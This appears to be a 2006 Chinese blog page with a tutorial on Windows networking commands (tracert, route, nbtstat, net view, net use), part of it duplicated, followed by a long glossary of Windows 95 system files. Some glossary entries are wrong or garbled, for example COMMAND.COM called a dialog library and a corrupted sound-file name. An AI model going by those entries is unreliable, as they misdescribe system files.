看到这里,你也许已经有些累了……其实对于一般用户来说也已经足够——你可以用ipconfig和ping命令来查看自己的网络配置并判断是否正确、可以用netstat查看别人与你所建立的连接并找出ICQ使用者所隐藏的IP信息、可以用arp查看网卡的MAC地址——这些已足已让你丢掉菜鸟的头衔。如果你并不满足,那就“硬着头皮”(下面的内容可能有些枯燥)继续Follow me……


Tracert

当数据报从你的计算机经过多个网关传送到目的地时,Tracert命令可以用来跟踪数据报使用的路由(路径)。该实用程序跟踪的路径是源计算机到目的地的一条路径,不能保证或认为数据报总遵循这个路径。如果你的配置使用DNS,那么你常常会从所产生的应答中得到城市、地址和常见通信公司的名字。Tracert是一个运行得比较慢的命令(如果你指定的目标地址比较远),每个路由器你大约需要给它15秒钟(图11是Tracert的一个运行结果)。

Tracert的使用很简单,只需要在tracert后面跟一个IP地址或URL,Tracert会进行相应的域名转换的。Tracert一般用来检测故障的位置,你可以用tracert IP在哪个环节上出了问题,虽然还是没有确定是什么问题,但它已经告诉了我们问题所在的地方,你也就可以很有把握的告诉别人——某某出了问题。


Route

大多数主机一般都是驻留在只连接一台路由器的网段上。由于只有一台路由器,因此不存在使用哪一台路由器将数据报发表到远程计算机上去的问题,该路由器的IP地址可作为该网段上所有计算机的缺省网关来输入。

但是,当网络上拥有两个或多个路由器时,你就不一定想只依赖缺省网关了。实际上你可能想让你的某些远程IP地址通过某个特定的路由器来传递,而其他的远程IP则通过另一个路由器来传递。

在这种情况下,你需要相应的路由信息,这些信息储存在路由表中,每个主机和每个路由器都配有自己独一无二的路由表。大多数路由器使用专门的路由协议来交换和动态更新路由器之间的路由表。但在有些情况下,必须人工将项目添加到路由器和主机上的路由表中。Route就是用来显示、人工添加和修改路由表项目的。

一般使用选项:

route print——本命令用于显示路由表中的当前项目,在单路由器网段上的输出结果如图12,由于用IP地址配置了网卡,因此所有的这些项目都是自动添加的。

route add——使用本命令,可以将信路由项目添加给路由表。例如,如果要设定一个到目的网络209.98.32.33的路由,其间要经过5个路由器网段,首先要经过本地网络上的一个路由器,器IP为202.96.123.5,子网掩码为255.255.255.224,那么你应该输入以下命令:

route add 209.98.32.33 mask 255.255.255.224 202.96.123.5 metric 5

route change——你可以使用本命令来修改数据的传输路由,不过,你不能使用本命令来改变数据的目的地。下面这个例子可以将数据的路由改到另一个路由器,它采用一条包含3个网段的更直的路径:

route add 209.98.32.33 mask 255.255.255.224 202.96.123.250 metric 3

route delete——使用本命令可以从路由表中删除路由。例如:route delete 209.98.32.33


NBTStat

NBTStat(TCP/IP上的NetBIOS统计数据)实用程序用于提供关于关于NetBIOS的统计数据。运用NetBIOS,你可以查看本地计算机或远程计算机上的NetBIOS名字表格。

常用选项:

nbtstat -n——显示寄存在本地的名字和服务程序(见图13)。

nbtstat -c——本命令用于显示NetBIOS名字高速缓存的内容。NetBIOS名字高速缓存用于寸放与本计算机最近进行通信的其他计算机的NetBIOS名字和IP地址对。

nbtstat -r——本命令用于清除和重新加载NetBIOS名字高速缓存。

nbtstat -a IP——通过IP显示另一台计算机的物理地址和名字列表,你所显示的内容就像对方计算机自己运行nbtstat -n一样(见图14)。

nbtstat -s IP——显示实用其IP地址的另一台计算机的NetBIOS连接表。


Net

Net命令有很多函数用于实用和核查计算机之间的NetBIOS连接。这里我只介绍最常用的两个:net view和net use。

net view UNC——运用此命令,你可以查看目标服务器上的共享点名字。任何局域网里的人都可以发出此命令,而且不需要提供用户ID或口令。UNC名字总是以\\开头,后面跟随目标计算机的名字。例如,net view \\lx就是查看主机名为lx的计算机的共享点(见图15)。

net use 本地盘符 目标计算机共享点——本命令用于建立或取消到达特定共享点的映像驱动器的连接(如果需要,你必须提供用户ID或口令)。例如,你输入net use f: \\lx\mp3就是将映像驱动器F:连接到\\lx\mp3共享点上,今后你直接访问F:就可以访问\\lx\mp3共享点,这和你右击“我的电脑”选择映射网络驱动器类似。





他的远程IP则通过另一个路由器来传递。

在这种情况下,你需要相应的路由信息,这些信息储存在路由表中,每个主机和每个路由器都配有自己独一无二的路由表。大多数路由器使用专门的路由协议来交换和动态更新路由器之间的路由表。但在有些情况下,必须人工将项目添加到路由器和主机上的路由表中。Route就是用来显示、人工添加和修改路由表项目的。

一般使用选项:

route print——本命令用于显示路由表中的当前项目,在单路由器网段上的输出结果如图12,由于用IP地址配置了网卡,因此所有的这些项目都是自动添加的。

route add——使用本命令,可以将信路由项目添加给路由表。例如,如果要设定一个到目的网络209.98.32.33的路由,其间要经过5个路由器网段,首先要经过本地网络上的一个路由器,器IP为202.96.123.5,子网掩码为255.255.255.224,那么你应该输入以下命令:

route add 209.98.32.33 mask 255.255.255.224 202.96.123.5 metric 5

route change——你可以使用本命令来修改数据的传输路由,不过,你不能使用本命令来改变数据的目的地。下面这个例子可以将数据的路由改到另一个路由器,它采用一条包含3个网段的更直的路径:

route add 209.98.32.33 mask 255.255.255.224 202.96.123.250 metric 3

route delete——使用本命令可以从路由表中删除路由。例如:route delete 209.98.32.33


NBTStat

NBTStat(TCP/IP上的NetBIOS统计数据)实用程序用于提供关于关于NetBIOS的统计数据。运用NetBIOS,你可以查看本地计算机或远程计算机上的NetBIOS名字表格。

常用选项:

nbtstat -n——显示寄存在本地的名字和服务程序

nbtstat -c——本命令用于显示NetBIOS名字高速缓存的内容。NetBIOS名字高速缓存用于寸放与本计算机最近进行通信的其他计算机的NetBIOS名字和IP地址对。

nbtstat -r——本命令用于清除和重新加载NetBIOS名字高速缓存。

nbtstat -a IP——通过IP显示另一台计算机的物理地址和名字列表,你所显示的内容就像对方计算机自己运行nbtstat -n一样

nbtstat -s IP——显示实用其IP地址的另一台计算机的NetBIOS连接表。


Net

Net命令有很多函数用于实用和核查计算机之间的NetBIOS连接。这里我只介绍最常用的两个:net view和net use。

net view UNC——运用此命令,你可以查看目标服务器上的共享点名字。任何局域网里的人都可以发出此命令,而且不需要提供用户ID或口令。UNC名字总是以\\开头,后面跟随目标计算机的名字。例如,net view \\lx就是查看主机名为lx的计算机的共享点

net use 本地盘符 目标计算机共享点——本命令用于建立或取消到达特定共享点的映像驱动器的连接(如果需要,你必须提供用户ID或口令)。例如,你输入net use f: \\lx\mp3就是将映像驱动器F:连接到\\lx\mp3共享点上,今后你直接访问F:就可以访问\\lx\mp3共享点,这和你右击“我的电脑”选择映射网络驱动器类似。

posted @ 2006-10-02 17:28 javaca88 阅读(356) 评论(0) 编辑

WINDOWS系统文件说明- -

                                      


A ↑
ACCESS.CHM - Windows帮助文件
ACCSTAT.EXE - 辅助状态指示器
ADVAPI32.DLL - 高级Win32应用程序接口
AHA154X.MPD - SCSI驱动程序
AM1500T.VXT - 网卡驱动程序
AM2100.DOS - 网卡驱动程序
APPSTART.ANI - 动画光标
APPS.HLP - Windows帮助文件
AUDIOCDC.HLP - "易码编码解码器"帮助文件
AWARDPR32.EXE - 增加打印机工具
B ↑
BIGMEM.DRV - BIGMEM虚拟设备
BILLADD.DLL - 动态链接库(支持MSW)
BIOS.VXD - 即插即用BIOS接口
BUSLOGIC.MPD - SCSI驱动程序
C ↑
CALC.EXE - 计算器应用程序
CANNON800.DRV - 佳能打印机驱动程序
CHOICE.COM - MSDOS命令
CHS16.FON - 字体文件(16点阵中文)
CANYON.MID - MIDI文件例子
CARDDRV.EXE - PCMCIA支持程序
CDFS.VXD - CDROM文件系统
CDPLAYER.EXE - CD播放器应用程序
CDPLAYER.HLP - CD播放器帮助文件
CHIPS.DRV - 芯片技术显示驱动程序
CHKDSK.EXE - DOS磁盘检查工具
CHOOSUSR.DLL - 网络客户
CHOKD.WAV - 声音文件例子
CIS.SCP - 脚本文件(演示如何建立与Compuserve的PPP连接)
CLAIRE~1.RMI - MINI序列
CLIP.INF - 安装信息文件(剪粘板查看器)
CLOSEWIN.AVI - 影片剪辑(AVI)(如何关闭窗口)
CMC.DLL:Mail - API1.0公共信息调用
COMBUFF.VXD - COM端虚拟设备
COMCTL32.DLL - 32位Shell组件
COMDLG32.DLL - 32位公共对话库
COMIC.TIF - TrueType字体文件(Comic Sans Ms)
COMMAND.COM - 公共对话库
COMMDLG.DLL - 16位公共对话库
COMMON.HLP - OLE帮助文件
COMPOBJ.DLL - OLE16/32互*作库
CONAGEN.EXE - 32位控制支持
CONFAPI.DLL - Microsoft网络组件
CONFIG.SYS - 配置文件
CONFIG.TXT - 自述文件(配置文件中如何使用命令)
CONTROL.EXE - "控制面板"应用程序
COOL.DLL - 统一资源定位文件
COPY.INF - 安装信息文件
CP-1250.NLS - 自然语言支持文件
CPQNDIS.DOS - 网卡驱动程序
CPQNDIS3.VXD - Compaq以太控制器NDIS驱动程序
CR3240.EXE - DOS6.22中文版CR3240打印机驱动程序
CRTDLL.DLL - Microsoft C运行时间库
CSETUP.EXE - MSDOS6.22中文设置程序
CSETUP.WIN - CSetup.exe支持文件
CSMAPPER.SYS - 系统文件(支持PCMCIA)
CSPMAN.DLL - 动态链接库(SoundBlaster 16 Driver)
CTRLPAN.EXE - MSDOS命令(系统控制台程序)
CTRLPAN.EXE - MSDOS6.22中文版控制程序

D ↑
DBLBVFF.SYS - 双缓冲驱动程序
DC21X4.SYS - NDIS3驱动程序
DCIMAN.DLL - 显示控制接口
DCIMAN32.DLL - 显示控制接口
DDEML.DLL - DDE信息库
DEBMP.DLL - 光栅显示设备
DEBUG.EXE - Debug调试工具
DECPSMW4.INF - 安装信息文件(DEC打印机安装)
DECLAN.VXD - DECLAN网卡驱动程序
DEFRAG - 打开"选定驱动器"窗口
DEL.INF - 安装信息文件
DELTEMP.COM - 初始化帮助工具
DELTREE.EXE - 删除目录工具
DEMET.DLL - 向量显示工程
DESKCP16.DLL - 16位桌面控制面板
DESKTOP.MSN - Microsoft网络组件
DESS.DLL - 表格显示工程
DEWP.DLL - 字处理显示工程
DIALER.CNT - 对话帮助
DIALER.EXE - 电话拨号程序
DIALER.HLP - 电话拨号帮助文件
DIALMON.EXE - 拨号监视程序(IE2.0)
DIBENG.DLL - 独立设备的位同工程
DICONIX.DRX - 打印机驱动
非常棒哦^__^.WAN - 声音文件例子
DIRECTCC.EXE - 直接线缆连接应用程序
DISKCOMP - 磁盘比较工具
DISKCOPY.COM - 磁盘拷贝工具
DISKDRV.INF - 安装信息
DISPLAY.TXT - 显示卡README文件
DMCOLOR.DLL - 通用打印驱动程序彩打支持库
DOSKEY.COM - DOS命令
DOSX.EXE - MSDOS配置程序
DRAGDROP.AVI - 影片剪辑(AVI)(如何使用拖拽)
DRIVER.SYS - DOS驱动程序
DRVSPACE.EXE - 磁盘压缩工具
DRVSPACE.HLP - 磁盘空间管理帮助文件
E ↑
EDIT.COM - DOS文字编辑程序
EDLIN.EXE - DOS行编辑器
EE16.VXD - 虚拟设备驱动程序
EISA.VXD - 即插即用EISA总线计数器
EK550C.ICM - 打印机简介
EMM386.EXE - 扩展内存管理程序
ENABLE.INF - 初始化信息
ENGCT.EXE - MSN支持文件
ESCP24SC.DRV - 设备驱动程序
EUDCEDIT.CNF - 帮助索引文件(造字程序)
EUDCEDIT.EXE - 造字程序
EUDCEDIT.HLP - 帮助文件(造字程序)
EUDCEDIT.INF - 安装信息文件(造字程序)
EVX16.DOS - 网卡驱动程序
EWRK3.DOS - 网卡驱动程序
EWRK3.SYS - 网卡驱动程序
EXCEL.XLS - Excel5.0文件模板
EXCEL4.XLS - Excel4.0文件模板
EXCHANGE.TXT - Inbox和Exchange的自述文件
EXCHNG.CNT - Mail/Exchange帮助文件内容
EXCHNG.HLP - Mail/Exchange组件
EXCHNG32.EXE - 对用户的交换机作初始设置
EXPLORER.AVI - 影片剪辑(AVI)(如何使用资源管理器)
EXPLORER.EXE - "资源管理器"应用程序
EXPO.HLP - 帮助文件(产品信息)
EXPOSTRT.EXE - 产品信息应用程序
EXTRACT.EXE - 解压缩工具
EXTRA.TXT - 自述文件(联机访问附加文件)

F ↑
FAQ.TXT - 疑难解答自述文件
FAXCODEC.DLL - 传真编码/译码器
FAXCOVER.EXE - 封面编辑器
FC.EXE - DOS命令,比较两个文件
FD16-700.MPD - SCSI驱动程序
FD8XX.MPD - SCSI驱动程序
FDISK.EXE - DOS命令,在硬盘上建立、删除及显示当前分区
FILESEC.VXD - 文件存取控制管理器
FILEXFER.CNT - 文件传输帮助文件内容
FILEXFER.EXE - Microsoft文件传输
FIND.AVI - 影片剪辑(如何使用查找)
FIND.EXE - 寻找指定字符串命令
FINDMVI.DLL - 媒体视觉支持
FINSTALL.DLL - 字库安装程序
FINSTALL.HLP - 字库安装帮助文件
FLSIMTD.VXD - PCMCIA支持
FLSIMTD.VXD - PCMCIA支持
FONT16.EXE - DOS6.22中文版16点阵字体驱动程序
FONTS.INF - 字体选择初始化信息
FONTVIEW.EXE - 字体浏览程序
formAT.COM - DOS磁盘格式化工具
FOUTLINE.EXE - 轮廓字体驱动程序
FRAMEBUF.DRV - SVGA显示器驱动程序
FTE.DLL - 声音浏览文件传输工程文件
FTP.EXE - 文件传输协议TCP工具
FURELI~1.RMI - MINI序列
G ↑
GBK.TXT - 中文Windows95GBK代码集字符定义表
GDI.EXE - 简版WIN3.1图形界面
GDI32.DLL - 32位GDI图形界面
GENERAL.IDF - 一般MIDI指示器
GRPCONV.EXE - Windows程序组转换器
GUIDE.EXE - 应用程序(MSN)

H ↑
HARDWARE.TXT - 硬件自述文件
HOSTS.SAM - TCP配置
HPCLRLSK.ICM - 打印简介
HPDESK.ICM - 打印机简介表
HPDSKJET.DRV - 打印机驱动程序
HPEISA.VXD - 网络适配器驱动程序
HPJAHLP.CNT - JetAdmin程序帮助文件
HPJD.DLL - HPJetAdmin支持程序
HPLAN.DOS - 网络适配器驱动程序
HPLJ300.DRV - HPLJ300DPI打印机驱动程序
HPLJ300.EXE - MSDOS命令(HP打印机驱动)
HPLJ-31.SPD - 打印机驱动程序
HPLJ600.DRV - HPLJ600DPI打印机驱动程序
HPLJP-V4.INF - 打印机安装信息
HPNETPRN.INF - HPJetAdmin支持程序
HPPJXL31.SPD - 打印机驱动程序
HPPLOT.DRV - 打印机驱动程序
HPPLOT.HLP - 打印机驱动程序帮助文件
HPPRARBK.DLL - HPJetAdmin支持程序
HPPRARRK.HLP - HPJetAdmin支持程序帮助文件
HPVCM.HPM - 打印机驱动程序
HSFLOP.PDR - HSFLOP虚拟设备
HTICONS.DLL - 终端设备动态链接库
HYPERTRM.CNT - 终端设备帮助文件
HYPERTRM.EXE - 终端设备应用程序
HYPERTRM.HLP - "超级终端"帮助
HZKBD.EXE - 常用输入方法程序
HZVIO95.EXE - 显示驱动程序
I ↑
I82593.DOS - 网络适配器驱动程序
IB401917.SPD - 打印机驱动程序
IBM20470.SPD - 打印机驱动程序
IBM20K.DOS - 网络适配器驱动程序
ICM32.DLL - 图象颜色匹配程序
ICMOI.DLL - 用户界面颜色匹配程序
ICONLIB.DLL - 图符库
IEXPLORE.CNT - 帮助索引文件(IE)
IEXPLORE.EXE - InternetExplore
IEXPLORE.HLP - 帮助文件(IE)
IFSHLP.SYS - 文件系统安装帮助文件
IFSMGR.VXD - 文件系统安装管理程序
IMAGEOIT.EXE - 图象编辑器光标程序
IMCLIENT.DLL - Microsoft网络组件
IME.CNT - 帮助索引文件(中文输入法)
IME.HLP - Windows帮助文件
IME.INF - 安装信息文件(中文输入法)
IMEGEN.CNF - 帮助索引文件(输入法生成器)
IMEGEN.EXE - 输入法生成器
IMEGEN.HLP - 帮助文件(输入法生成器)
IMEINFO.INI - 输入法初始化文件
IMM32.DLL - WIN32IMM应用程序界面
INBOX.EXC - 邮件组件
INDICDLL.DLL - 多语言组件
INET.TXT - IE自述文件
INET16.DLL - 动态链接库(支持IE2.0)
INETAB32.DLL - 动态链接库(支持Internet mail)
INETCFG.DLL - 动态链接库(支持IE2.0)
INETCPL.CPL - 控制面板文件(配置IE2.0)
INETMAIL.INF - 安装信息文件(Internet mail)
INETWIZ.EXE - Internet安装向导
INformS.WPF - 样板文件
INSTBE.BAT - Microsoft网络组件
INSTDICT.EXE - MSDOS命令(输入法安装程序)
INTB.VXD - 13号中断虚拟设备
INTL.CPL - 控制面板
INT-MAIL.CNT - 帮助索引文件(Internet mail)
IOS.INI - 设置需要安全保护的程序
IOSCLASS.DLL - CDROM安装程序
IRMATR.DOS - 网络适配器驱动程序
ISAPNP.VXD - ISA总线即插即用程序
 ↑
JOY.CPL - 游戏杆控制面板
JOYSTICK.INF - 多媒体安装信息
JP350.DRV - 打印机驱动程序
JUNGLE~1.WAV - 声音文件
K ↑
KBDBE.KBD - 比利时键盘格式
KBDBR.KBD - 巴西键盘格式
KBDCA.KBD - 法国、加拿大键盘格式
KBDOS.KBD - 美国键盘格式
KDCOLOR1.SPD - 打印机驱动程序
KERNEL32.DLL - 32位内核
KEYB.COM - 将控制键盘程序装入内存
KODAKCE.ICM - 柯达ICC配置文件
KRNL386.EXE - Core应用程序

L ↑
LABEL.EXE - DOS命令,设置磁盘名称
LFNBK.EXE - 长文件名备份文件
LFNBK.TXT - LFNBK的自述文件
LICENSE.HLP - Windows帮助文件
LMSCRIPT.EXE - LAN管理器文稿处理程序
LOGIN.EXE - Win95登录NetWare文件
LQ1600K.EXE - LQ1600K打印驱动程序
M ↑
MAILMSG.DLL - 微软网络组件
MAILOPT.INF - MAIL/MAPI设置文件
MAPI.DLL - Mail/Exchange组件
MCIAVI.DRV - 多媒体驱动程序
MCICDA.DRV - MCICD声音驱动程序
MCIOLE.DLL - MCIOLE句柄
MCIPIONR.DRV - MCI光盘驱动程序
MCISEQ.DRV - MCI定序器驱动程序
MCIVISCA.DRV - MCIVCR驱动程序
MCIWAVE.DRV - MCI Ware驱动程序
MDMNOKIA.INF - 安装信息文件(modem)
MDMNOVA.INF - 安装信息文件(modem)
MDMVV.INF - 安装信息文件(modem)
MEMMAKER.EXE - 内存管理程序
MEMMAKER.INF - 内存管理程序设置信息
MFCUIA32.DLL - OLEI公共对话动态链接库
MIDI.INF - 即插即用MIDI设备信息
MINET32.DLL - 支持Internet Mail动态链接库
MKECR5XX.MPD - SCSI驱动程序
ML3XEC16.EXE - 应用程序(MAPI)
MLSHEXT.DLL - 微软核扩展库
MMCI.DLL - 媒体类安装程序
MMDEVLDR.VXD - 即插即用设备装载程序
MMDRV.HLP - 多媒体帮助文件
MMSOUND.DRV - 多媒体驱动程序
MMSYSTEM.DLL - 多媒体系统内核
MMTASK.TSK - 多媒体背景任务交换器
MODE.COM - DOS命令
MODERN.FON - 字体文件(modem)
MORE.COM - DOS命令
MOUSE.DRV - 鼠标驱动程序
MOVEWIN.AVI - 影片剪辑(如何移动窗口)
MPLAYER.EXE - 媒体播放程序
MPR.DLL - WIN32网络接口动态链接库
MSAB32.DLL - 微软网络地址簿
MSBASE.INF - 设置信息
MSCDEX.EXE - DOS MSCDEX CDROM扩展工具
MSCDROM.INF - 类安装设置信息
MSD.EXE - 微软诊断工具
MSD.INI - 微软诊断初始化
MSDET.INF - 系统检测设置信息
MSDISP.INF - 显示设置信息
MSDLG.EXE - 数据链接控制协议
MSDOS.INF - 设置信息
MSDOSDRV.TXT - 设备驱动程序自述文件
MSFT.VRL - 统一资源定位文件
MSGSRV32.EXE - Windows32位虚拟设备信息系统
MSHDC.INF - 硬盘控制设置信息
MSJSTICK.DRV - 即插即用游戏杆驱动程序
MSMAIL.INF - Mail/MAPI初始化
MSMOUSE.INF - 鼠标设置信息
MSN.TXT - 微软网络自述文件
MSNET32.DLL - 微软32位网络API库
MSNEXCH.EXE - 微软网络设置程序
MSNPSS.HLP - 微软网络帮助文件
MSNVER.TXT - 微软网络帮助信息
MSPAINT.EXE - 画图工具
MSPCIC.DLL - PCMCIA类安装与控制工具
MSPORTS.INF - 公共设置信息
MSPP32.DLL - 微软网络打印支持程序
MSPWL32.DLL - 口令清单管理库
MSSBLST.DRV - 声霸卡驱动程序
MSSBLSI.VXD - 声霸卡驱动程序
MSSHRVI.DLL - 共享内核扩展程序
MSSNDSYS.DRV - Windows声音系统驱动程序
MSSP.VXP - Windows NT安全支持
MSTCP.DLL - TCP用户界面
MSVIEWUT.DLL - 显示设备服务数据链接库
MTMMINIP.MPD - SCSI驱动程序
MULLANG.INF - 多种语言字体支持设置信息
MVIWAVE.DRV - 声音驱动程序
N ↑
NBTSTAT.EXE - TCP工具
NDDEAPI.DLL - Workgroups DDE共享接口
NDDENB.DLL - 微软网络DDE NetBIOS接口
NDISHLP.SYS - 实模式NDIS支持驱动程序
NET.EXE - 实模式网络客户软件
NET.INF - 网络检测信息
NET.MSG - 网络客户信息
NET3COM.INF - 网络设置信息
NETAMD.INF - 网络设置信息
NETAPI.DLL - 网络应用程序接口动态链接库
NETAPI32.DLL - 32位网络API动态链接库
NETAVXT.INF - MS内部传输文件
NETBEUI.VXD - 32位NetBEUI协议
NETBIOS.DLL - NetBIOSAPI库
NETDCA.INF - 安装信息文件
NETDDE.EXE - Windows网络动态数据交换
NETDET.INI - NetWare检测文件
NETDI.DLL - 网络设备安装
NETH.MSG - 网络客户帮助信息
NETOS.DLL - NOS检测DLL
NETWATCH.EXE - 网络观测程序
NETWORK.TXT - 网络信息自述文件
NOTEPAD.EXE - 记事本应用程序
NODRIVER.INF - 即插即用设备信息
NOTEPAD.EXE - NOTEPAD文件
NSCL.VXD - NSCL虚拟设备
NW16.DLL - NetWare客户
NWAB32.DLL - 地址簿支持动态链接库
NWLSCON.EXE - 登录文稿控制台程序
NWLSPROC.EXE - NetWare登录处理器
NWNET32.DLL - NetWare客户
NWNP32.DLL - NetWare组件
NWREDIR.VXD - NetWare重定向
NWSERVER.VXD - NCP服务
NWSP.VXD - NCP服务安全提供
O ↑
OEMREVA.INF - 安装信息文件
OLE2.DLL - OLE2.0动态链接库
OLE2.INF - OLE设置信息
OLE32.DLL - 32位OLE2.0组件
OLEAUT32.DLL - OLE2-32自动化
OLECL1.DLL - 对象链接与嵌入客户库
OLEDLG.DLL - Windows OLE2.0用户接口支持
OLESVR.DLL - 对象链接与嵌入服务端库
OLETHK32.DLL - OLE形实替换程序库

P ↑
PACKAGER.EXE - 对象包装程序
PARALINK.VXD - 远程网络存取并行口驱动程序
PBRVSH.EXE - "画图"应用程序
PDOS95.BAT - 进入中文DOS状态
PERF.VXD - 系统性能监视器
PIFMGR.DLL - 程序信息文件管理服务程序
PING.EXE - TCPPing工具
PMSPL.DLL - LAN管理应用程序接口
POWER.DRV - 高级电源管理驱动程序
PPPMAC.VXD - Windows虚拟PPP驱动程序
PRINT.EXE - DOS打印文件
PRINTERS.TXT - 打印信息自述文件
PROGMAN.EXE - 程序管理器
PRTVPD.INF - 打印机升级设置信息
Q ↑
QUIKVIEW.EXE - 快速查看
QUIT.EXE - 退出中文DOS状态

R ↑
README.TXT - Windows95自述文件
REGEDIT.EXE - 注册编辑器
REGSERV.EXE - 远程注册
REGWIE.EXE - 注册工具
REGSERV.INF - 远程注册
RESTORE.EXE - DOS命令
RNAAPP.EXE - 拨号网络应用程序
RNASERV.DLL - 远程网络存取服务
RNASETUP.DLL - 远程网络存取设置动态链接库
RNATHUNK.DLL - 远程网络存取转换支持动态链接库
RNAUI.DLL - 远程网络存取用户接口DLLRNDSRV32.DLL复制服务程序
ROBOTZCL.WAV - 声音文件
ROBOTZWI.WAV - 声音文件
ROMAN.FON - 字型文件
ROUTE.EXE - TCP/IP ROUTE命令
RPCLTC1.DLL - 远程调用库
RPCNS4.DLL - 远程调用库
RPCPP.DLL - 远程调用打印驱动
RPCRT4.DLL - 远程调用库
RPCSS.EXE - 远程调用结点映象
RPLBOOT.SYS - 远程程序装入
RPLIMAGE.DLL - 远程程序装入磁盘映象器
RSRC16.DLL - 资源计量器
RSRCMTR.EXE - 资源计量器
RSRCMTR.INF - 资源计量器
RUMOR.EXE - DDE测试/游戏
RUNDLL.EXE - 把DLL作为应用程序运行
RUNDLL32.EXE - 32位壳组件
S ↑
S3.DRV - S3显示驱动
S3.VXD - S3虚拟设备
SACLIEN.DLL - Microsoft网络组件
SAMPLEVIDEOS - 图象文件
SAPNSP.DLL - Winsock数据连接库
SAVE32.COM - 安装时所需的TSR文件
SB16.VXD - 16位声卡虚拟设备
SB16SND.DRV - 16位声卡驱动
SBAWE.VXD - AWE声卡虚拟设备
SBAWE32.DRV - AWE声卡驱动
SBFM.DRV - 16位声卡驱动
SCANDISK.BAT - MSDOS6.x Scandisk的替代存根模块SCANDISK.BAT磁盘诊断工具
SCANDISK.INI - 磁盘诊断工具
SCANDISK.PIF - 安装磁盘诊断工具时的PIF文件
SCANDSKW.EXE - 磁盘扫描工具
SCANPROG.EXE - 磁盘扫描工具
SCRNSAVE.SCR - 屏幕保护
SCSI.INF - SCSI安装文件文件名描述
SCSIIHLP.VXD - SCSI支持文件
SCSIPORT.PDR - SCSI虚拟设备口
SECUR32.DLL - Microsoft Win32安全服务
SECURCL.DLL - Microsoft网络组件
SEIKO24E.DRV - 打印机驱动
SEIKOSH9.DRV - 打印机驱动
SERIAL.VXD - 串口VCOMM驱动器
SERIFE.FON - 字型文件
SERVER.HLP - 服务器帮助文件
SETMDIR.EXE - SBS文件
SETUP.BIN - 安装支持文件
SETUP.BMP - 安装Wash位图文件
SETUP.EXE - Windows95安装程序
SETUP.INF - 安装信息文件
SETUP.TXT - 安装时的README文件
SETUP4.DLL - 安装支持文件
SETUPPP.INF - 安装信息
SETUPX.DLL - 安装支持
SETVER.EXE - MSDOS版本显示,该程序可在网络上执行
SF4029.EXE - 打印机驱动
SHARE.EXE - MSDOS共享实用程序
SHELL.INF - 安装壳信息
SHELL.VXD - 虚拟壳设备
SHELL2.INF - 颜色组合
SHELL3.INF - 颜色组合
SIZE1-1.CUR - 光标
SIZE1-M.CUR - 光标
SIZE4-M.CUR - 光标
SIZENESW.ANI - 活动光标
SIZEWE.ANI- 活动光标
SKPSFA-1.SPD - 打印机驱动
SLAN.DOS - 网络适配器驱动
SLCD32.MPD - SCSI驱动器
SLENH.DLL - 高级节能选项
SMALLE.FON - 字型文件
SMALLF.FON - 字型文件
SMARTDRV.EXE - 超高速缓存程序
SMARTND.DOS - 网络适配器驱动器
SMC3000.DOS - 网络适配器驱动器
SMC9000.VXD - 网络适配器驱动器
SNAPSHOT.EXE - 抽点
SNAPSHOT.VXD - 抽点虚拟设备
SNDREC32.EXE - 录音机
SNIP.VXD - 网络适配驱动器
SOCKET.VXD - Windows虚拟Socket网卡驱动器SOCKET.VXD PCMCIA支持
SOL.CNT - 纸牌游戏
SOL.HLP - 纸牌游戏帮助文件
SORT.EXE - MSDOS分类实用程序
SOUNDREC.CNT - 录音机帮助文件内容
SOUNDREC.HLP - 录音机帮助文件
SPARROW.WPD - SCSI驱动器
SPARROWX.MPD - SCSI驱动器
SPOOL32.EXE - 打印机支持
SPOOLER.VXD - 打印机共享虚拟设备
SRAMMTD.VXD - PCMCIA支持
SSERIFE.FON - 字型文件
SSERIFF.FON - 字型文件
SSFLYWIN.SCR - 屏幕保护
SSSTARS.SCR - 屏幕保护
STAR24E.DRV - 打印机驱动
STAR9E.DRV - 打印机驱动
START.EXE - 启动程序
STATE.PBK - Microsoft网络组件
STDOLE.TLB - OLE2.0文件
STDOLE32.TLB - OLE2-32文件
STEMO409.DLL - Windows95帮助文件的DLL
STLSO4SS.SPD - 打印机驱动程序
STLS577U.SPD - 打印机驱动程序
STORAGE.DLL - OLE存储器管理库
STRN.DOS - 网络适配器驱动
SUBST.EXE - MSDOS Subst实用程序
SUEXPAND.DLL - LZ DLL安装
SUHELPER.BIN - 安装支持
SUPERVGA.DRV - 高级VGA显示驱动
SURPORT.TXT - PSS支持信息
SVCPROP.DLL - Microsoft网络组件
SVRAPI.DLL - 32位公用服务器API实用程序
SXCIEXT.DLL - Matrox显示驱动支持文件
SYMBOLE.FON - 字型文件
SYS.COM - MSDOS系统实用程序
SYSCLASS.DLL - 系统类库安装
SYSDETMG.DLL - 系统检测库
SYSEDIT.EXE - 系统编辑器
SYSLOGO.RLE - 系统标识
SYSMON.EXE - 系统监控程序
SYSMON.HLP - 系统监控帮助
SYSTEM.DRV - 最小Win3.1标准模式
SYSTHUNK.DLL - Windows系统形实替换程序库
SYSTRAY.EXE - 高级节能管理

T ↑
T128.MPD - SCSI驱动器
T160.MPD - SCSI驱动器
T20N3.VXD - 网络适配驱动器
T30ND.DOS - 网络适配驱动器
T338.MPD - SCSI驱动器
TADA.WAV - 声音文件
TAPI.DLL - API通话程序
TAPI.INF - API通话安装信息文件
TAPI32.DLL - 32位形实替换
TAPIADDR.DLL - API通话程序
TAPIEXE.EXE - API通话组件
TAPIINI.EXE - API通话组件
TASKMAM.EXE - 任务管理器
TCCARC.DOS - 网络适配驱动器
TCTOKCH.VXD - 网络适配驱动器
TELEPHON.CPL - 通话帮助
TESTPS.TXT - PostScript测试
TEXTCHAT.EXE - Microsoft网络组件
THEMIC-1.WAV - 声音文件
THINKJET.DRV - 打印机驱动
THREED.VBX - Windows95浏览
T1850.DRV - 打印机驱动
TIMEDATE.CPL - 时间/日期控制面板
TIMES.TTF - 时间字型
TIMESBD.TTF - 时间粗体字型
TIMESBI.TTF - 时间粗斜体字型
TIMESI.TTF - 时间斜体字型
TIMEZONE.INF - 安装信息
TIMLP232.SPD - 打印机驱动
TIPS.txt - 提示和技巧自述文件
TKPHZR32.SPD - 打印机驱动
TLNK.DOS - 网络适配驱动器
TLNK3.VXD - 网络适配驱动器
TMV1.MPD - SCSI驱动器
TOOLHELP.DLL - 16位开发工具帮助器
TOSHIBA.DRV - 打印机驱动
TOUR.EXE - 浏览文件
TPHAIII.ICM - 打印机简介
TRACERT.EXE - TCP/IP IRACEROUTE命令
TREE.COM - MS DOS树实用程序
TREEEDCL.DLL - Microsoft网络组件
TREENVCL.DLL - Microsoft网络组件
TRIUMPHI.SPD - 打印机驱动
TSD32.DLL - 声音压缩管理器
